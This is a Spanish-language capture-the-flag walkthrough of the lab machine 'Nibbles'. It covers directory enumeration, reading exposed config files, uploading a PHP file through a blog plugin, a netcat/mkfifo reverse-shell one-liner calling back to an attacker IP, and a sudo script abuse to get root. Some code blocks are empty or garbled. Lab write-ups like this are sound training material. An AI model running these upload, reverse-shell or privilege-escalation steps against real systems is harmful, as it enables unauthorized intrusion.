# Nibbles ### 馃攳 RECONOCIMIENTO En primer lugar, tras conectarnos a la m谩quina, utilizamos el comando: ```bash ping -c 1 10.129.12.162 ``` para verificar la conectividad de red.
A continuaci贸n, realizamos el comando: ```bash nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.129.12.162 ``` para realizar un escaneo de puertos y servicios detallado en la direcci贸n IP.
Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** est谩n abiertos por lo que a continuaci贸n se indagar谩 m谩s. ### 馃攷 EXPLORACI脫N Se utiliza el comando: ```bash sudo nmap -sCV -p22,80 -v 10.129.12.162 ``` para que nos proporcione m谩s informaci贸n sobre esos puertos espec铆ficamente.
Seguimos indagando m谩s sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingres贸 la **direcci贸n IP** en el navegador lo que llev贸 a que la p谩gina web nos salga un mensaje.\ ![](https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FiArHVyKlmgjQ8KpipQ45%2Fimage.png?alt=media\&token=daf59400-4730-468f-9ffb-db8b2f7daa0e) Revisamos el c贸digo por si hay alguna informaci贸n relevante.
Nos muestra un directorio por lo que indagaremos ah铆.
Ahora buscaremos directorios con la herramienta **Gobuster** a trav茅s de: ```bash gobuster dir -u http://10.129.12.162/nibbleblog/ --wordlist /usr/share/dirb/wordlists/common.txt ```
Hay dos archivos interesantes como `admin.php` y `README`. ```bash curl http://10.129.12.162/nibbleblog/README ```
Hemos confirmado que la versi贸n **4.0.3** est谩 en uso, lo que sugiere que es probable que sea vulnerable al m贸dulo de **Metasploit** (aunque podr铆a tratarse de una p谩gina antigua del README). No observamos nada m谩s relevante. Ahora, revisemos la p谩gina de inicio de sesi贸n del portal de administraci贸n.
Para usar el **exploit** mencionado, necesitaremos credenciales de administrador v谩lidas. Probamos t茅cnicas de omisi贸n de autenticaci贸n y combinaciones comunes como **admin** y **admin**, sin 茅xito. Hay una opci贸n para restablecer la contrase帽a, pero da un error de correo. Adem谩s, demasiados intentos r谩pidos activan un bloqueo con el mensaje **"Nibbleblog security error - Blacklist protection"**. Volvamos a nuestros resultados de fuerza bruta en el directorio. Los c贸digos **200** muestran p谩ginas accesibles, los **403** indican acceso prohibido y el **301** es una redirecci贸n permanente. Navegamos a **nibbleblog/themes/** y vemos que el listado de directorios est谩 habilitado.
Al navegar a **nibbleblog/content**, encontramos subdirectorios interesantes: public, private y tmp. Explorando un poco, encontramos un archivo **users.xml** que confirma que el nombre de usuario es **admin**. Tambi茅n muestra direcciones IP en la lista negra. Podemos solicitar este archivo con **cURL** y formatear la salida **XML** usando **xmllint**.
Confirmamos que **admin** es el usuario. No hay otros puertos abiertos y no encontramos m谩s directorios. Podemos confirmarlo realizando fuerza bruta adicional en directorios contra la ra铆z de la aplicaci贸n web. ```bash gobuster dir -u http://10.129.12.162/ --wordlist /usr/share/dirb/wordlists/common.txt ```
Al revisar nuevamente todos los directorios expuestos, encontramos un archivo **config.xml**. ```bash curl -s http://10.129.12.162/nibbleblog/content/private/config.xml | xmllint --format - ```
Al revisar el archivo, esperamos encontrar contrase帽as, pero no obtenemos resultados. Sin embargo, vemos dos menciones de "**nibbles**" en el t铆tulo del sitio y en la direcci贸n de correo de notificaci贸n. Este tambi茅n es el nombre de la m谩quina. Al realizar cracking de contrase帽as offline con una herramienta como **Hashcat** o al intentar adivinar una contrase帽a, es importante considerar toda la informaci贸n disponible. No es raro descifrar una contrase帽a (como la de la red inal谩mbrica de una empresa) usando una lista de palabras generada al rastrear su sitio web con una herramienta como **CeWL**. ```bash cewl http://10.129.12.162/nibbleblog -w wordlist.txt ```
### 馃殌 **EXPLOTACI脫N** Intentemos usar el plugin **MyImage** para cargar un fragmento de c贸digo **PHP** en lugar de una imagen. El siguiente fragmento se puede usar para probar la ejecuci贸n de c贸digo. ```bash ``` Ahora tenemos que averiguar d贸nde se subi贸 el archivo si la carga fue exitosa. Volviendo a los resultados de fuerza bruta en los directorios, recordamos el directorio `/content`. Dentro de este, hay un directorio `plugins` y otro subdirectorio llamado `my_image`. La ruta completa es `http:///nibbleblog/content/private/plugins/my_image/`. En este directorio, vemos dos archivos, `db.xml` e `image.php`, con una fecha de 煤ltima modificaci贸n reciente, 隆lo que significa que nuestra carga fue exitosa! Ahora vamos a verificar si tenemos ejecuci贸n de comandos. ```bash curl http://10.129.12.162/nibbleblog/content/private/plugins/my_image/image.php ```
Parece que hemos obtenido ejecuci贸n remota de c贸digo en el servidor web, y el servidor Apache se est谩 ejecutando en el contexto del usuario `nibbler`. Vamos a modificar nuestro archivo PHP para obtener una shell inversa y comenzar a explorar el servidor. Vamos a editar nuestro archivo PHP local y subirlo nuevamente. Este comando deber铆a proporcionarnos una shell inversa. Como se mencion贸 anteriormente en el M贸dulo, existen muchas hojas de trucos para shells inversas. Algunas muy buenas son [PayloadAllTheThings ](https://github.com/swisskyrepo/PayloadsAllTheThings)entre otras. Utilicemos el siguiente one-liner de Bash para la shell inversa y a帽谩delo a nuestro script PHP. ```bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc /tmp/f ``` ```bash &1|nc 10.10.16.47 443 >/tmp/f"); ?> ``` ```bash nc -lvnp 443 ```
Pinchamos en el fichero image.php.
Tenemos Python3, lo cual nos permite obtener una shell m谩s amigable escribiendo `python3 -c 'import pty; pty.spawn("/bin/bash")'`. Al navegar a `/home/nibbler`, encontramos la bandera `user.txt` as铆 como un archivo zip llamado `personal.zip`.
### 馃攼 **PRIVILEGIOS** Al estar dentro y ejecutar: ```bash whoami ``` a煤n no somos **root**, por lo que hacemos: ```bash sudo -l ``` para ver si hay algo para explotar.
Si accedemos a esa ruta, veremos que no existe. Por lo tanto, necesitaremos crear el directorio y el archivo: ```bash cd /home/nibbler mkdir -p personal/stuff cd personal/stuff echo "/bin/bash" > monitor.sh chmod +x monitor.sh sudo ./monitor.sh ``` Con estos pasos, obtendremos acceso root. Luego, al ir a `/root/root.txt`, podremos ver la bandera ROOT.